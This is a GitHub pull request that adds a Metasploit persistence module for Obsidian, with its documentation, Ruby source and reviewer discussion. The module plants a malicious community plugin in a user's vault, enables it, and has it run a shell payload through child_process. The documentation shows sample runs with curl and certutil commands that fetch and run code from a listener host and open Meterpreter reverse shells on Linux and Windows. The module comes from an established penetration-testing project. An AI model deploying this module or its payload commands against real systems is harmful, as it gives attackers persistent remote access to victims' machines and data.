Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

obsidian community plugin persistence module #19698

Open
wants to merge 3 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -0,0 +1,124 @@
## Vulnerable Application

This module searches for Obsidian vaults for a user, and uploads a malicious
community plugin to the vault. The vaults must be opened with community
plugins enabled (NOT restricted mode), but the plugin will be enabled
automatically.

Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.

### Debugging

To open the console (similar to chrome), use `ctr+shift+i`.

## Verification Steps

1. Install the application
2. Start msfconsole
3. Get a user shell on the target
4. Do: `use multi/local/obsidian_plugin_persistence`
5. Do: Select a shell which will work on your target OS
6. Do: `run`
7. You should get a shell when the target user opens the vault without restricted mode.

## Options

### NAME

Name of the plugin. Defaults to being randomly generated.

### USER

The user to target. Defaults the user the shell was obtained under.

### CONFIG

Config file location on target. Defaults to empty which will search the default locations.

## Scenarios

### Version and OS

Get a user shell.

```
msf6 exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/local/obsidian_plugin_persistence) > set session 1
session => 1
msf6 exploit(multi/local/obsidian_plugin_persistence) > set verbose true
verbose => true
msf6 exploit(multi/local/obsidian_plugin_persistence) > exploit

[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc &
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using plugin name: xQem
[*] Target User: ubuntu
[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json
[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test
[*] Uploading plugin to vault /home/ubuntu/Documents/test
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js
[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json
[*] Found 1 enabled community plugins (sX2sv4)
[*] adding xQem to the enabled community plugins list
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA
[*] Sending payload to 2.2.2.2 (curl/7.81.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500

meterpreter > getuid
Server username: ubuntu
meterpreter > sysinfo
Computer : 2.2.2.2
OS : Ubuntu 22.04 (Linux 5.15.0-60-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```

### Obsidian 1.7.7 on Windows 10

```

msf6 exploit(multi/local/obsidian_plugin_persistence) > rexploit
[*] Reloading module...

[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Using plugin name: pPq0K
[*] Target User: h00die
[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json
[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault
[*] Uploading plugin to vault C:\Users\h00die\Documents\vault
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js
[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json
[*] Found 0 enabled community plugins ()
[*] adding pPq0K to the enabled community plugins list
[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0)
[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA
[*] Sending payload to 3.3.3.3 (CertUtil URL Agent)
[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500

meterpreter > getuid
Server username: DESKTOP-3ASD0R4\h00die
meterpreter > sysinfo
Computer : DESKTOP-3ASD0R4
OS : Windows 10 (10.0 Build 19044).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter >
```
256 changes: 256 additions & 0 deletions modules/exploits/multi/local/obsidian_plugin_persistence.rb
h00die marked this conversation as resolved.
Show resolved Hide resolved
Original file line number Diff line number Diff line change
@@ -0,0 +1,256 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Obsidian Plugin Persistence',
'Description' => %q{
This module searches for Obsidian vaults for a user, and uploads a malicious
community plugin to the vault. The vaults must be opened with community
plugins enabled (NOT restricted mode), but the plugin will be enabled
automatically.

Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # Module
'Thomas Byrne' # Research, PoC
],
'DisclosureDate' => '2022-09-16',
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Privileged' => false,
'References' => [
[ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ],
[ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ],
[ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ],
[ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ],
[ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ]
],
'Arch' => [ARCH_CMD],
'Platform' => %w[osx linux windows],
'DefaultOptions' => {
# 25hrs, you know, just in case the user doesn't open Obsidian for a while
'WfsDelay' => 90_000,
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Waiting 25 hours sounds a bit excessive, perhaps make this a passive module?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I agree, however adding 'Stance' => Msf::Exploit::Stance::Passive, doesn't make it go background. Not sure if there's a regression somewhere, or it doesn't work with Msf::Exploit::Local

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

'PrependMigrate' => true
},
'Payload' => {
'BadChars' => '"'
},
'Stance' => Msf::Exploit::Stance::Passive,
'Targets' => [
['Auto', {} ],
['Linux', { 'Platform' => 'unix' } ],
['OSX', { 'Platform' => 'osx' } ],
['Windows', { 'Platform' => 'windows' } ],
],
'Notes' => {
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]
},
'DefaultTarget' => 0
)
)

register_options([
OptString.new('NAME', [ false, 'Name of the plugin', '' ]),
OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),
OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),
])
end

def plugin_name
return datastore['NAME'] unless datastore['NAME'].blank?

rand_text_alphanumeric(4..10)
end

def find_vaults
vaults_found = []
user = target_user
vprint_status("Target User: #{user}")
case session.platform
when 'windows', 'win'
config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]
when 'osx'
config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]
when 'linux'
config_files = [
"/home/#{user}/.config/obsidian/obsidian.json",
"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"
] # snap package
end

config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?

config_files.each do |config_file|
next unless file?(config_file)

vprint_status("Found user obsidian file: #{config_file}")
config_contents = read_file(config_file)
return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?

begin
vaults = JSON.parse(config_contents)
rescue JSON::ParserError
vprint_error("Failed to parse JSON from #{config_file}")
next
end

vaults_found = vaults['vaults']
if vaults_found.nil?
vprint_error("No vaults found in #{config_file}")
next
end

vaults['vaults'].each do |k, v|
h00die marked this conversation as resolved.
Show resolved Hide resolved
if v['open']
print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
else
print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")
end
end
end

vaults_found
end

def manifest_js(plugin_name)
JSON.pretty_generate({
'id' => plugin_name.gsub(' ', '_'),
'name' => plugin_name,
'version' => '1.0.0',
'minAppVersion' => '0.15.0',
'description' => '',
'author' => 'Obsidian',
'authorUrl' => 'https://obsidian.md',
'isDesktopOnly' => false
})
end

def main_js(_plugin_name)
if ['windows', 'win'].include? session.platform
payload_stub = payload.encoded.to_s
else
payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"
end
%%
/*
THIS IS A GENERATED/BUNDLED FILE BY ESBUILD
if you want to view the source, please visit the github repository of this plugin
*/

var __defProp = Object.defineProperty;
var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
var __getOwnPropNames = Object.getOwnPropertyNames;
var __hasOwnProp = Object.prototype.hasOwnProperty;
var __export = (target, all) => {
for (var name in all)
__defProp(target, name, { get: all[name], enumerable: true });
};
var __copyProps = (to, from, except, desc) => {
if (from && typeof from === "object" || typeof from === "function") {
for (let key of __getOwnPropNames(from))
if (!__hasOwnProp.call(to, key) && key !== except)
__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
}
return to;
};
var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);

// main.ts
var main_exports = {};
__export(main_exports, {
default: () => ExamplePlugin
});
module.exports = __toCommonJS(main_exports);
var import_obsidian = require("obsidian");
var ExamplePlugin = class extends import_obsidian.Plugin {
async onload() {
var command = "#{payload_stub}";
const { exec } = require("child_process");
exec(command, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
console.log(`stdout: ${stdout}`);
});
}
async onunload() {
}
};
%
end

def target_user
return datastore['USER'] unless datastore['USER'].blank?

return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform

whoami
end

def check
return CheckCode::Appears('Vaults found') unless find_vaults.empty?

CheckCode::Safe('No vaults found')
end

def exploit
plugin = plugin_name
print_status("Using plugin name: #{plugin}")
vaults = find_vaults
fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?
vaults.each_value do |vault|
print_status("Uploading plugin to vault #{vault['path']}")
# avoid mkdir function because that registers it for delete, and we don't want that for
# persistent modules
if ['windows', 'win'].include? session.platform
cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Framework has an API for executing things properly, such as handling quotes, spaces etc.
This will break if the path contains quotes or spaces.

mkdir is the method to use in this case.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Sync'ing up on this one, it looks like the scenario of handling win/windows isn't handled

def mkdir(path)
result = nil
vprint_status("Creating directory #{path}")
if session.type == 'meterpreter'
# behave like mkdir -p and don't throw an error if the directory exists
result = session.fs.dir.mkdir(path) unless directory?(path)
elsif session.type == 'powershell'
result = cmd_exec("New-Item \"#{path}\" -itemtype directory")
elsif session.platform == 'windows'
result = cmd_exec("mkdir \"#{path}\"")
else
result = cmd_exec("mkdir -p '#{path}'")
end
vprint_status("#{path} created")
register_dir_for_cleanup(path)
result
end

Would have to double check if we still have session types with win and windows in framework, as I can't remember if we standardised the code so that it only appears as windows nowadays or not

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Per comment on 210, I don't want to use the framework API because of

register_dir_for_cleanup(path)
. As a persistence module I don't want my shell to delete itself after first use.

Also, and I may be mistaken, I believe

result = cmd_exec("mkdir \"#{path}\"")
and https://github.com/rapid7/metasploit-framework/pull/19698/files#diff-37f24615bc7a6a803221bc0018be9f72e9130733a7d2c8970736fb590c5f5cadR213 are functionally equivalent since I escaped with quotes already? Maybe they're cancelled out by cmd.exe /c, unsure.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

That's an unexpected API for sure; not a blocker to this PR - will start a different PR to change that default behavior 😄

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think adding a function flag defaulting to true to delete should be fine. keeps default behavior, but allows the override for cases like this

else
cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")
end
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))
vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")
write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))

# read in the enabled community plugins, and add ours to the enabled list
if file?("#{vault['path']}/.obsidian/community-plugins.json")
plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")
begin
plugins = JSON.parse(plugins)
vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")
path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)
print_good("Config file saved in: #{path}")
rescue JSON::ParserError
plugins = []
end

plugins << plugin unless plugins.include?(plugin)
else
plugins = [plugin]
end
vprint_status("adding #{plugin} to the enabled community plugins list")
write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins))
print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.')
end
end
end
Loading